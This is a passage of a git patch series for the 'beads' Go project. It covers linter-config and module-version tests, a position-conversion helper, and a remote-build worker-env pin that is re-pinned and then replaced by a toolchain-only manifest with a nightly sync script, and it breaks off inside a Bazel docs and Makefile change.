{File: "p.go", Line: 4, Message: "func f"}, + }) +} + +func TestExclusionRules(t *testing.T) { + yml := header + ` exclusions: + rules: + - path: '^a/' + text: 'func drop' + linters: [fake] + - path-except: '^a/' + linters: [fake] + - text: 'func other' + linters: [other] +` + a := wrapped(t, yml) + src := map[string]string{"p.go": "package p\n\nfunc keep() {}\n\nfunc drop() {}\n\nfunc other() {}\n"} + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "a", src), []analyzertest.Diagnostic{ + {File: "p.go", Line: 3, Message: "func keep"}, + {File: "p.go", Line: 7, Message: "func other"}, + }) + // Outside a/, the path-except rule drops everything. + analyzertest.Equal(t, analyzertest.RunInRepo(t, a, "b", src), nil) +} + +func TestParseIsStrict(t *testing.T) { + for name, yml := range map[string]string{ + "unknown key": header + " settings:\n gosec:\n config: {}\n", + "unknown linter key": header + " settings:\n revive: {}\n", + "version": "version: \"1\"\nlinters:\n default: none\n", + "default": "version: \"2\"\nlinters:\n default: standard\n", + "bad regexp": header + " exclusions:\n rules:\n - text: '('\n", + "empty rule": header + " exclusions:\n rules:\n - {}\n", + } { + if _, err := golangci.Parse([]byte(yml)); err == nil { + t.Errorf("%s: Parse accepted %q", name, yml) + } + } +} + +func TestRepositoryConfigLoads(t *testing.T) { + if _, err := golangci.Load(); err != nil { + t.Fatal(err) + } +} + +func TestRelPath(t *testing.T) { + for _, c := range []struct{ dir, name, want string }{ + {"/x/root", "/x/root/cmd/bd/a.go", "cmd/bd/a.go"}, + {"/x/root", "cmd/bd/a.go", "cmd/bd/a.go"}, + {"", "/abs/a.go", "/abs/a.go"}, + } { + if got := golangci.RelPath(c.dir, c.name); got != c.want { + t.Errorf("RelPath(%q, %q) = %q, want %q", c.dir, c.name, got, c.want) + } + } +} diff --git a/tools/nogo/internal/position/BUILD.bazel b/tools/nogo/internal/position/BUILD.bazel new file mode 100644 index 000000000..200493e23 --- /dev/null +++ b/tools/nogo/internal/position/BUILD.bazel @@ -0,0 +1,31 @@ +load("@rules_go//go:def.bzl", "go_library") + +go_library( + name = "position", + srcs = ["position.go"], + importpath = "github.com/steveyegge/beads/tools/nogo/internal/position", + visibility = ["//tools/nogo:__subpackages__"], + deps = ["@org_golang_x_tools//go/analysis"], +) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- diff --git a/tools/nogo/internal/position/position.go b/tools/nogo/internal/position/position.go new file mode 100644 index 000000000..0884439fc --- /dev/null +++ b/tools/nogo/internal/position/position.go @@ -0,0 +1,39 @@ +// Package position converts the token.Position values that some third-party +// checkers return back into token.Pos values an analysis.Pass can report. +package position + +import ( + "go/token" + + "golang.org/x/tools/go/analysis" +) + +// Index maps the file names of a pass's syntax files to their token.File. +type Index map[string]*token.File + +// NewIndex indexes the files of pass by name. +func NewIndex(pass *analysis.Pass) Index { + idx := make(Index, len(pass.Files)) + for _, f := range pass.Files { + tf := pass.Fset.File(f.Pos()) + idx[tf.Name()] = tf + } + return idx +} + +// Pos returns the token.Pos for p, and false when p is not in one of the +// pass's files or lies outside its file. +func (idx Index) Pos(p token.Position) (token.Pos, bool) { + tf, ok := idx[p.Filename] + if !ok || p.Line < 1 || p.Line > tf.LineCount() { + return token.NoPos, false + } + pos := tf.LineStart(p.Line) + if p.Column > 1 { + pos += token.Pos(p.Column - 1) + } + if int(pos)-tf.Base() > tf.Size() { + return token.NoPos, false + } + return pos, true +} diff --git a/tools/nogo/modules_test.go b/tools/nogo/modules_test.go new file mode 100644 index 000000000..8ac5566b3 --- /dev/null +++ b/tools/nogo/modules_test.go @@ -0,0 +1,49 @@ +package nogo_test + +import ( + "os" + "testing" + + "golang.org/x/mod/modfile" + "golang.org/x/mod/semver" +) + +func parseGoMod(t *testing.T, path string) *modfile.File { + t.Helper() + data, err := os.ReadFile(path) + if err != nil { + t.Fatalf("reading %s: %v", path, err) + } + f, err := modfile.Parse(path, data, nil) + if err != nil { + t.Fatalf("parsing %s: %v", path, err) + } + return f +} + +// TestModuleRequirementsAgreeWithRoot keeps the two modules gazelle.go.work +// joins at identical versions. go_deps resolves them as one graph (highest +// version wins), so a module this one requires at a higher version than the +// root go.mod would silently change what the bd build links under Bazel but +// not under `go build`; a lower one would build the analyzers here against +// versions Bazel never uses. +func TestModuleRequirementsAgreeWithRoot(t *testing.T) { + root := parseGoMod(t, "../../go.mod") + nogo := parseGoMod(t, "go.mod") + rootVersions := map[string]string{} + for _, r := range root.Require { + rootVersions[r.Mod.Path] = r.Mod.Version + } + for _, r := range nogo.Require { + want, ok := rootVersions[r.Mod.Path] + if !ok { + continue + } + if semver.Compare(r.Mod.Version, want) != 0 { + t.Errorf("tools/nogo/go.mod requires %s %s; the root go.mod requires %s (align them)", r.Mod.Path, r.Mod.Version, want) + } + } + if root.Go.Version != nogo.Go.Version { + t.Errorf("tools/nogo/go.mod go %s; root go.mod go %s", nogo.Go.Version, root.Go.Version) + } +} From d652def9dbd70526607a48b7b4e7bf82f3428a60 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 22:58:06 -0700 Subject: [PATCH 146/325] build(rbe): re-pin worker-env to the updated Blacksmith ubuntu-24.04 image (#7338) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Blacksmith's runner image picked up Ubuntu security updates around 2026-10-07 02:28Z (coreutils 9.4-3ubuntu6.2, git 2.55.0, libc6 2.39-0ubuntu8.8, sed, tar, util-linux). Pool workers now measure worker-env=sha256:b2c8be1f53ba4c2f1603b1d65f31e0d4c7ddd498110b9928eda37f193c7eb674 while actions requested sha256:f4d6d0460877…, and rbe-west's oss and oss-fork schedulers match worker-env exactly, so no action could run (pools idle, queues growing, every pool run failing the env check). Re-pin to the measured manifest, copied verbatim from the pool worker's report; gascity and beads carry byte-identical copies. Co-authored-by: Claude Opus 5.5 (1M context) --- platforms/BUILD.bazel | 2 +- tools/rbe/worker-env.txt | 12 ++++++------ 2 files changed, 7 insertions(+), 7 deletions(-) diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index eab8c95d0..e9bd07d6c 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -20,7 +20,7 @@ platform( name = "rbe_worker", exec_properties = { - "worker-env": "sha256:f4d6d0460877031a71cd0ddb4dc67e789c4e54fc18c0d888fa818c84f8cf61ed", + "worker-env": "sha256:b2c8be1f53ba4c2f1603b1d65f31e0d4c7ddd498110b9928eda37f193c7eb674", }, parents = ["@bazel_tools//tools:host_platform"], visibility = ["//visibility:public"], diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt index 5f24a0f20..b52c65a48 100644 --- a/tools/rbe/worker-env.txt +++ b/tools/rbe/worker-env.txt @@ -4,14 +4,14 @@ go go version go1.26.6 linux/amd64 os ubuntu 24.04 pkg bash 5.2.21-2ubuntu4 pkg cmake 3.28.3-1build7 -pkg coreutils 9.4-3ubuntu6.1 +pkg coreutils 9.4-3ubuntu6.2 pkg diffutils 1:3.10-1build1 pkg findutils 4.9.0-5build1 -pkg git 1:2.52.0-0ppa1~ubuntu24.04.3 +pkg git 1:2.55.0-0ppa1~ubuntu24.04.2 pkg grep 3.11-4build1 pkg jq 1.7.1-3ubuntu0.24.04.2 pkg libbz2-dev 1.0.8-5.1ubuntu0.1 -pkg libc6 2.39-0ubuntu8.6 +pkg libc6 2.39-0ubuntu8.8 pkg libexpat1-dev 2.6.1-2ubuntu0.6 pkg libffi-dev 3.4.6-1build1 pkg libgcc-s1 14.2.0-4ubuntu2~24.04.1 @@ -28,11 +28,11 @@ pkg lsof 4.95.0-1build3 pkg make 4.3-4.1build2 pkg procps 2:4.0.4-4ubuntu3.2 pkg python3-dev 3.12.3-0ubuntu2.1 -pkg sed 4.9-2build1 +pkg sed 4.9-2ubuntu0.24.04.1 pkg sqlite3 3.45.1-1ubuntu2.8 -pkg tar 1.35+dfsg-3build1 +pkg tar 1.35+dfsg-3ubuntu0.4 pkg tmux 3.4-1ubuntu0.1 -pkg util-linux 2.39.3-9ubuntu6.4 +pkg util-linux 2.39.3-9ubuntu6.5 pkg xz-utils 5.6.1+really5.4.5-1ubuntu0.3 pkg zlib1g 1:1.3.dfsg-3.1ubuntu2.2 pkg zlib1g-dev 1:1.3.dfsg-3.1ubuntu2.2 From 8d7d7fef1638c3b7fb78117493799386e4870828 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 23:18:24 -0700 Subject: [PATCH 147/325] build(rbe): adopt gascity's toolchain-only worker-env pin; check the copy nightly (#7346) gascity now builds the worker-env manifest from the worker's toolchain, not the image's patch revisions. The manifest records the arch, the OS release, Go and dolt, and the upstream releases of the libraries and tools actions reach (major.minor; git and yq at their major). The Debian epochs and Ubuntu revisions are gone, so the Blacksmith image's routine security updates no longer move the hash. That is what stranded every remote action on 2026-10-07: coreutils 9.4-3ubuntu6.1 -> 6.2 and libc6 2.39-0ubuntu8.6 -> 8.8 forced re-pins (gascity #7266, beads #7338). - tools/rbe/worker-env.txt: byte-identical copy of gascity's new manifest. platforms/BUILD.bazel pins its sha256, sha256:6be1381cf08e7fd66684cfce6f26aca57de2561e722c505d1f2f578e9fdeafa7. The manifest now also measures python3, curl, openssl, unzip and yq, which //scripts:scripts_test runs from the executor. - scripts/rbe_worker_env_test.go: the manifest must be a rendering of gascity's tools/rbe/worker-env (sorted; one arch, dolt, go, os and yq line; packages at most major.minor, installed). A copy of an older gascity manifest with dpkg revisions, a hand edit or a truncated copy fails here. - tools/rbe/worker-env-sync, run by nightly.yml: compares the manifest and the pin with gascity's main byte for byte. If they differ, it prints the diff and the pin to commit, and fails. Merge this together with the gascity change. Pool workers run gascity main's provisioning, so they serve the new hash only once that change lands, and beads' actions on any other pin queue. This supersedes #7338 (the old-format re-pin). The new key misses the cache once. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/nightly.yml | 17 ++++ platforms/BUILD.bazel | 25 ++--- scripts/rbe_worker_env_test.go | 175 ++++++++++++++++++++++++++++++++- tools/rbe/worker-env-sync | 67 +++++++++++++ tools/rbe/worker-env.txt | 63 ++++++------ 5 files changed, 300 insertions(+), 47 deletions(-) create mode 100755 tools/rbe/worker-env-sync diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 8bca8b8da..025a35ac0 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -120,6 +120,23 @@ jobs: # so this keeps sampling flaky and -race failures every night. fresh-test-results: true + # rbe-west's pool workers are gascity's and advertise the sha256 of + # gascity's worker-env manifest; beads' tools/rbe/worker-env.txt is a + # byte-for-byte copy and platforms/BUILD.bazel carries the same pin. A copy + # that falls behind queues every remote action, so say so every night. + rbe-worker-env-sync: + name: rbe worker-env in step with gascity + if: ${{ github.event_name == 'schedule' || inputs.suite == 'bazel' }} + runs-on: ubuntu-latest + timeout-minutes: 5 + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 + with: + persist-credentials: false + + - name: Compare the worker-env manifest and pin with gascity's main + run: tools/rbe/worker-env-sync main + full-test: name: Full Test Suite if: ${{ github.event_name == 'schedule' || inputs.suite == 'full-test' }} diff --git a/platforms/BUILD.bazel b/platforms/BUILD.bazel index e9bd07d6c..35cd55d7e 100644 --- a/platforms/BUILD.bazel +++ b/platforms/BUILD.bazel @@ -2,25 +2,28 @@ # unconditionally with --extra_execution_platforms, so every action and test # executes on it and local, fork-cache and remote runs hash alike). # -# Test actions exec host tools (bash, git, coreutils, ...) and load the -# shared libraries of every cgo binary they link (glibc, libstdc++), so the -# worker host is an input to every cached result. Its exec_properties enter -# each action's key: worker-env is the sha256 of tools/rbe/worker-env.txt, -# the manifest of the pinned worker host. +# Test actions exec host tools (bash, git, python3, coreutils, ...) and load +# the shared libraries of every cgo binary they link (glibc, libstdc++), so +# the worker host is an input to every cached result. Its exec_properties +# enter each action's key: worker-env is the sha256 of +# tools/rbe/worker-env.txt, the toolchain manifest of the pinned worker host +# (arch, OS release, Go, dolt, and the upstream releases of the libraries and +# tools actions reach; not the image's security patch revisions). # # rbe-west's OSS pool is shared with gastownhall/gascity, which owns the # worker image: its tools/rbe/blacksmith-worker.sh advertises the sha256 of # the manifest it measures on its own host (gascity tools/rbe/worker-env), # and the schedulers match worker-env exactly, so these actions run only on -# the pinned host. tools/rbe/worker-env.txt is a byte-for-byte copy of -# gascity's: when gascity moves its pin (a new runner image, a package or Go -# upgrade), copy its manifest here and update this sha256 in the same -# commit, which is a new key for every action. -# scripts/bazel_hermetic_cc_test.go keeps the pin and the manifest in step. +# the pinned toolchain. tools/rbe/worker-env.txt is a byte-for-byte copy of +# gascity's: when gascity moves its pin (a toolchain change: a distribution, +# library or tool release, Go or dolt), copy its manifest here and update +# this sha256 in the same commit, which is a new key for every action. +# scripts/rbe_worker_env_test.go keeps the pin and the manifest in step, and +# tools/rbe/worker-env-sync (nightly) compares both with gascity's main. platform( name = "rbe_worker", exec_properties = { - "worker-env": "sha256:b2c8be1f53ba4c2f1603b1d65f31e0d4c7ddd498110b9928eda37f193c7eb674", + "worker-env": "sha256:6be1381cf08e7fd66684cfce6f26aca57de2561e722c505d1f2f578e9fdeafa7", }, parents = ["@bazel_tools//tools:host_platform"], visibility = ["//visibility:public"], diff --git a/scripts/rbe_worker_env_test.go b/scripts/rbe_worker_env_test.go index 0a3408672..ff6f4c2f3 100644 --- a/scripts/rbe_worker_env_test.go +++ b/scripts/rbe_worker_env_test.go @@ -4,7 +4,11 @@ import ( "crypto/sha256" "encoding/hex" "errors" + "os" + "os/exec" + "path/filepath" "regexp" + "slices" "strings" "testing" ) @@ -15,13 +19,20 @@ import ( // worker-env exec property is the sha256 of tools/rbe/worker-env.txt, and // rbe-west's schedulers run an action only on a worker that advertises that // exact value. The OSS pool and its manifest are gastownhall/gascity's -// (tools/rbe/worker-env, blacksmith-worker.sh); beads commits a copy of the -// manifest so the pin is reviewable and moves only with it. +// (tools/rbe/worker-env, blacksmith-worker.sh); beads commits a byte-for-byte +// copy of the manifest so the pin is reviewable and moves only with it, and +// tools/rbe/worker-env-sync (nightly) checks the copy against gascity's main. +// +// The manifest is the worker's toolchain, not its image: arch, OS release, +// Go, dolt, and the upstream releases (at most major.minor) of the libraries +// and tools actions reach. The Blacksmith image's Ubuntu security revisions +// are not in it, so they neither re-key every action nor strand the pool. const ( rbeWorkerPlatformBuild = "platforms/BUILD.bazel" rbeWorkerEnvManifest = "tools/rbe/worker-env.txt" rbeWorkerPlatformFlag = "--extra_execution_platforms=//platforms:rbe_worker" + rbeWorkerEnvSync = "tools/rbe/worker-env-sync" ) var ( @@ -117,3 +128,163 @@ func TestRBEWorkerPlatformGuards(t *testing.T) { } } } + +// rbeWorkerEnvLineRE is every line gascity's tools/rbe/worker-env prints on +// a worker that has what it measures: one arch, dolt, go, os and yq line, +// and each package at its upstream release, at most major.minor. +var rbeWorkerEnvLineRE = map[string]*regexp.Regexp{ + "arch": regexp.MustCompile(`^arch [a-z0-9_]+$`), + "dolt": regexp.MustCompile(`^dolt dolt version \S+$`), + "go": regexp.MustCompile(`^go go version go\S+ linux/\S+$`), + "os": regexp.MustCompile(`^os ubuntu \d+\.\d+$`), + "tool": regexp.MustCompile(`^tool yq \d+$`), + "pkg": regexp.MustCompile(`^pkg [a-z0-9][a-z0-9+.-]* \d+(\.\d+)?$`), +} + +// checkRBEWorkerEnvManifest: manifest is a rendering of gascity's +// tools/rbe/worker-env in its toolchain-only form. A copy of an older +// gascity manifest (dpkg revisions such as 9.4-3ubuntu6.2), a hand edit, or +// a truncated copy fails here rather than queueing every remote action. +func checkRBEWorkerEnvManifest(manifest string) []error { + if !strings.HasSuffix(manifest, "\n") { + return []error{errors.New(rbeWorkerEnvManifest + " must end with a newline, as gascity's tools/rbe/worker-env prints it")} + } + lines := strings.Split(strings.TrimSuffix(manifest, "\n"), "\n") + var errs []error + if !slices.IsSorted(lines) { + errs = append(errs, errors.New(rbeWorkerEnvManifest+" is not sorted (LC_ALL=C), as gascity's tools/rbe/worker-env prints it")) + } + seen := map[string]int{} + for _, line := range lines { + kind, _, _ := strings.Cut(line, " ") + seen[kind]++ + re := rbeWorkerEnvLineRE[kind] + if re == nil || !re.MatchString(line) { + errs = append(errs, errors.New(rbeWorkerEnvManifest+": "+strings.TrimSpace(line)+ + " is not a gascity tools/rbe/worker-env line (packages are measured at their upstream release, at most major.minor, and installed)")) + } + } + for _, kind := range []string{"arch", "dolt", "go", "os", "tool"} { + if seen[kind] != 1 { + errs = append(errs, errors.New(rbeWorkerEnvManifest+" needs exactly one "+kind+" line")) + } + } + if seen["pkg"] == 0 { + errs = append(errs, errors.New(rbeWorkerEnvManifest+" has no packages")) + } + return errs +} + +func TestRBEWorkerEnvManifestIsGascitysRendering(t *testing.T) { + root := bazelPolicyRoot(t) + for _, err := range checkRBEWorkerEnvManifest(readPolicyFile(t, root, rbeWorkerEnvManifest)) { + t.Error(err) + } +} + +func TestRBEWorkerEnvManifestGuards(t *testing.T) { + good := "arch x86_64\ndolt dolt version 2.1.8\ngo go version go1.26.6 linux/amd64\nos ubuntu 24.04\n" + + "pkg coreutils 9.4\npkg git 2\npkg libc6 2.39\ntool yq 4\n" + if errs := checkRBEWorkerEnvManifest(good); len(errs) != 0 { + t.Fatalf("good manifest fixture: %v", errs) + } + for name, bad := range map[string]string{ + "dpkg revision": strings.Replace(good, "pkg coreutils 9.4\n", "pkg coreutils 9.4-3ubuntu6.2\n", 1), + "epoch": strings.Replace(good, "pkg git 2\n", "pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n", 1), + "patch level": strings.Replace(good, "pkg libc6 2.39\n", "pkg libc6 2.39.0\n", 1), + "missing package": strings.Replace(good, "pkg git 2\n", "pkg git missing\n", 1), + "no yq line": strings.Replace(good, "tool yq 4\n", "", 1), + "unsorted": strings.Replace(good, "arch x86_64\n", "", 1) + "arch x86_64\n", + "no newline": strings.TrimSuffix(good, "\n"), + "unknown line": good + "zzz extra\n", + "two os lines": strings.Replace(good, "os ubuntu 24.04\n", "os ubuntu 24.04\nos ubuntu 26.04\n", 1), + } { + if len(checkRBEWorkerEnvManifest(bad)) == 0 { + t.Errorf("%s: expected an error", name) + } + } +} + +// TestRBEWorkerEnvSync runs tools/rbe/worker-env-sync against a local +// gascity (file:// URLs): quiet success when the manifest and pin match +// gascity's at REF, and otherwise exit 1 with the diff and the pin to commit +// in the output and step summary, for a manifest or a pin that differs. +func TestRBEWorkerEnvSync(t *testing.T) { + requireHostTool(t, "curl") + requireHostTool(t, "bash") + script := filepath.Join(bazelPolicyRoot(t), rbeWorkerEnvSync) + manifest := "arch x86_64\npkg git 2\n" + sum := sha256.Sum256([]byte(manifest)) + pin := "sha256:" + hex.EncodeToString(sum[:]) + build := func(pin string) string { + return "platform(\n name = \"rbe_worker\",\n exec_properties = {\n \"worker-env\": \"" + pin + "\",\n },\n)\n" + } + write := func(path, body string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o644); err != nil { + t.Fatal(err) + } + } + gascity := t.TempDir() + write(filepath.Join(gascity, "main", "tools/rbe/worker-env.txt"), manifest) + write(filepath.Join(gascity, "main", "platforms/BUILD.bazel"), build(pin)) + + run := func(ourManifest, ourPin string) (string, string, error) { + t.Helper() + beads := t.TempDir() + write(filepath.Join(beads, rbeWorkerEnvManifest), ourManifest) + write(filepath.Join(beads, rbeWorkerPlatformBuild), build(ourPin)) + summary := filepath.Join(beads, "summary.md") + cmd := exec.Command("bash", script) + cmd.Dir = beads + cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity, "GITHUB_STEP_SUMMARY="+summary) + out, err := cmd.CombinedOutput() + b, _ := os.ReadFile(summary) + return string(out), string(b), err + } + + out, summary, err := run(manifest, pin) + if err != nil || !strings.Contains(out, "worker-env: in step with gascity main ("+pin+")") || summary != "" { + t.Fatalf("in step: %v\n%s\nsummary:\n%s", err, out, summary) + } + + stale := "arch x86_64\npkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n" + staleSum := sha256.Sum256([]byte(stale)) + stalePin := "sha256:" + hex.EncodeToString(staleSum[:]) + for name, c := range map[string][2]string{ + "manifest and pin": {stale, stalePin}, + "pin only": {manifest, stalePin}, + "manifest only": {stale, pin}, + } { + out, summary, err := run(c[0], c[1]) + if err == nil { + t.Errorf("%s out of step: succeeded\n%s", name, out) + continue + } + for _, want := range []string{ + "::error title=rbe worker-env out of step::beads pins worker-env=" + c[1] + ", gascity main pins " + pin, + " \"worker-env\": \"" + pin + "\",\n", + } { + if !strings.Contains(out, want) { + t.Errorf("%s: output lacks %q:\n%s", name, want, out) + } + } + if !strings.Contains(summary, "### rbe worker-env out of step with gascity") { + t.Errorf("%s: no step summary:\n%s", name, summary) + } + if c[0] != manifest && !strings.Contains(out, "-pkg git 1:2.55.0-0ppa1~ubuntu24.04.2\n+pkg git 2\n") { + t.Errorf("%s: no manifest diff:\n%s", name, out) + } + } + + // gascity unreachable (a REF that does not exist): an error, never "in step". + cmd := exec.Command("bash", script, "no-such-ref") + cmd.Dir = t.TempDir() + cmd.Env = append(os.Environ(), "WORKER_ENV_SYNC_URL=file://"+gascity) + if out, err := cmd.CombinedOutput(); err == nil { + t.Errorf("worker-env-sync of a missing ref succeeded:\n%s", out) + } +} diff --git a/tools/rbe/worker-env-sync b/tools/rbe/worker-env-sync new file mode 100755 index 000000000..6152b86f9 --- /dev/null +++ b/tools/rbe/worker-env-sync @@ -0,0 +1,67 @@ +#!/usr/bin/env bash +# worker-env-sync: check that beads' worker-env pin is gascity's. +# +# tools/rbe/worker-env-sync [REF] +# +# rbe-west's OSS pool workers are gastownhall/gascity's: each advertises the +# sha256 of the toolchain manifest it measures (gascity tools/rbe/worker-env), +# and the schedulers match worker-env exactly. beads' actions request +# //platforms:rbe_worker's pin, the sha256 of tools/rbe/worker-env.txt, a +# byte-for-byte copy of gascity's. If the copies part, beads' remote actions +# queue on a pin no worker serves. This compares the manifest and the pin +# with gascity's at REF (default main) and, if either differs, prints the +# diff and what to commit (stdout and $GITHUB_STEP_SUMMARY) and exits 1. +# Run from the repository root. +# +# Env (tests only): WORKER_ENV_SYNC_URL, gascity's raw-content base (default +# https://raw.githubusercontent.com/gastownhall/gascity). +set -euo pipefail + +ref=${1:-main} +base=${WORKER_ENV_SYNC_URL:-https://raw.githubusercontent.com/gastownhall/gascity}/$ref +tmp=$(mktemp -d) +trap 'rm -rf "$tmp"' EXIT + +summary() { + if [ -n "${GITHUB_STEP_SUMMARY:-}" ]; then cat >>"$GITHUB_STEP_SUMMARY"; else cat >/dev/null; fi +} + +# pin_of FILE: the worker-env pin in a platforms/BUILD.bazel ("none" if none). +pin_of() { + local pin + pin=$(sed -n 's/^ *"worker-env": "\(sha256:[0-9a-f]\{64\}\)",$/\1/p' "$1") + echo "${pin:-none}" +} + +curl -fsSL --retry 3 -o "$tmp/worker-env.txt" "$base/tools/rbe/worker-env.txt" +curl -fsSL --retry 3 -o "$tmp/BUILD.bazel" "$base/platforms/BUILD.bazel" +ours=$(pin_of platforms/BUILD.bazel) +theirs=$(pin_of "$tmp/BUILD.bazel") +if cmp -s tools/rbe/worker-env.txt "$tmp/worker-env.txt" && [ "$ours" = "$theirs" ]; then + echo "worker-env: in step with gascity $ref ($ours)" + exit 0 +fi + +diff -u --label beads --label "gascity $ref" tools/rbe/worker-env.txt "$tmp/worker-env.txt" >"$tmp/diff" || true +{ + cat <<-EOF + ### rbe worker-env out of step with gascity + + beads pins \`worker-env=$ours\`; gascity \`$ref\` pins \`$theirs\`. rbe-west's pool workers advertise gascity's, so beads' remote actions on another pin only queue. Copy gascity's \`tools/rbe/worker-env.txt\` here byte for byte, and in \`platforms/BUILD.bazel\` set: + + \`\`\` + "worker-env": "$theirs", + \`\`\` + +
diff (beads to gascity $ref) + + \`\`\`diff + $(cat "$tmp/diff") + \`\`\` +
+ EOF +} >"$tmp/report.md" +cat "$tmp/report.md" +summary <"$tmp/report.md" +echo "::error title=rbe worker-env out of step::beads pins worker-env=$ours, gascity $ref pins $theirs: copy gascity's tools/rbe/worker-env.txt and its pin (the step summary has the diff)." +exit 1 diff --git a/tools/rbe/worker-env.txt b/tools/rbe/worker-env.txt index b52c65a48..17ef8ffc9 100644 --- a/tools/rbe/worker-env.txt +++ b/tools/rbe/worker-env.txt @@ -2,37 +2,32 @@ arch x86_64 dolt dolt version 2.1.8 go go version go1.26.6 linux/amd64 os ubuntu 24.04 -pkg bash 5.2.21-2ubuntu4 -pkg cmake 3.28.3-1build7 -pkg coreutils 9.4-3ubuntu6.2 -pkg diffutils 1:3.10-1build1 -pkg findutils 4.9.0-5build1 -pkg git 1:2.55.0-0ppa1~ubuntu24.04.2 -pkg grep 3.11-4build1 -pkg jq 1.7.1-3ubuntu0.24.04.2 -pkg libbz2-dev 1.0.8-5.1ubuntu0.1 -pkg libc6 2.39-0ubuntu8.8 -pkg libexpat1-dev 2.6.1-2ubuntu0.6 -pkg libffi-dev 3.4.6-1build1 -pkg libgcc-s1 14.2.0-4ubuntu2~24.04.1 -pkg libicu74 74.2-1ubuntu3.1 -pkg liblzma-dev 5.6.1+really5.4.5-1ubuntu0.3 -pkg liblzma5 5.6.1+really5.4.5-1ubuntu0.3 -pkg libncurses-dev 6.4+20240113-1ubuntu2.2 -pkg libreadline-dev 8.2-4build1 -pkg libsqlite3-dev 3.45.1-1ubuntu2.8 -pkg libstdc++6 14.2.0-4ubuntu2~24.04.1 -pkg libxml2 2.9.14+dfsg-1.3ubuntu3.9 -pkg libxml2-dev 2.9.14+dfsg-1.3ubuntu3.9 -pkg lsof 4.95.0-1build3 -pkg make 4.3-4.1build2 -pkg procps 2:4.0.4-4ubuntu3.2 -pkg python3-dev 3.12.3-0ubuntu2.1 -pkg sed 4.9-2ubuntu0.24.04.1 -pkg sqlite3 3.45.1-1ubuntu2.8 -pkg tar 1.35+dfsg-3ubuntu0.4 -pkg tmux 3.4-1ubuntu0.1 -pkg util-linux 2.39.3-9ubuntu6.5 -pkg xz-utils 5.6.1+really5.4.5-1ubuntu0.3 -pkg zlib1g 1:1.3.dfsg-3.1ubuntu2.2 -pkg zlib1g-dev 1:1.3.dfsg-3.1ubuntu2.2 +pkg bash 5.2 +pkg coreutils 9.4 +pkg curl 8.5 +pkg dash 0.5 +pkg diffutils 3.10 +pkg findutils 4.9 +pkg git 2 +pkg grep 3.11 +pkg jq 1.7 +pkg libc6 2.39 +pkg libgcc-s1 14.2 +pkg libicu74 74.2 +pkg liblzma5 5.4 +pkg libstdc++6 14.2 +pkg libxml2 2.9 +pkg lsof 4.95 +pkg make 4.3 +pkg openssl 3.0 +pkg procps 4.0 +pkg python3 3.12 +pkg sed 4.9 +pkg sqlite3 3.45 +pkg tar 1.35 +pkg tmux 3.4 +pkg unzip 6.0 +pkg util-linux 2.39 +pkg xz-utils 5.4 +pkg zlib1g 1.3 +tool yq 4 From 368b225eef097610acb4f9d98b847f091d329b4a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 07:46:02 +0000 Subject: [PATCH 148/325] docs(bazel): make bazel test the primary build and test path (ga-96smfk.23) (#7348) Bazel is beads' build and test system: bazel.yml's lanes gate every PR, and nogo (lint + vet), gofmt and the repository guards exist only as Bazel targets. The docs, the Makefile and the hooks now say so. Makefile: `make test` runs bazel.yml's test lane (`bazel test //... --config=ci`), `make check` adds the testing.Short policy and the `make ci-pr-lint` nogo gate, and `make check-docs` runs the docsync and doc-freshness Bazel targets before the pinned-release CLI flag check. BAZEL_FLAGS passes --config=fork-cache or --config=remote-exec through. The plain-Go recipes stay as explicit twins: test-go, check-go, check-docs-go. No workflow called the primary names, and TestWorkflowsNameTheirTestEngine keeps it that way. Hooks: pre-push runs scripts/pre-push-suite.sh for branch pushes whose commits change Go or Bazel inputs: the test lane with --config=remote-exec when some rc names an executor, else --config=fork-cache. Without bazel, or with BD_PREPUSH_SUITE=go, it runs make test-go under a banner saying that is not what CI gates on. Docs: AGENTS.md, CONTRIBUTING.md, engdocs/TESTING.md (a per-lane command table and the fork-cache/remote-exec setup), README, RELEASING, the PR template and the .bazelrc header. Bazelisk is a required prerequisite; go test is an inner-loop convenience CI does not enforce. Agent-Signature: claude-code-claude-opus-5-5-unknown-reasoning on behalf of Julian Knutsen Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelrc | 13 +- .githooks/pre-push | 40 ++++++- .github/PULL_REQUEST_TEMPLATE.md | 2 +- AGENTS.md | 49 +++++--- CONTRIBUTING.md | 52 ++++++-- Makefile | 57 +++++++-- README.md | 2 +- RELEASING.md | 2 +- engdocs/TESTING.md | 102 +++++++++++++--- examples/formulas/primitives/README.md | 2 +- scripts/BUILD.bazel | 2 + scripts/README.md | 2 +- scripts/makefile_bazel_primary_test.go | 135 +++++++++++++++++++++ scripts/pre-push-suite.sh | 140 ++++++++++++++++++++++ scripts/pre_push_suite_test.go | 157 +++++++++++++++++++++++++ 15 files changed, 689 insertions(+), 68 deletions(-) create mode 100644 scripts/makefile_bazel_primary_test.go create mode 100755 scripts/pre-push-suite.sh create mode 100644 scripts/pre_push_suite_test.go diff --git a/.bazelrc b/.bazelrc index 4de47b6c1..497eacc70 100644 --- a/.bazelrc +++ b/.bazelrc @@ 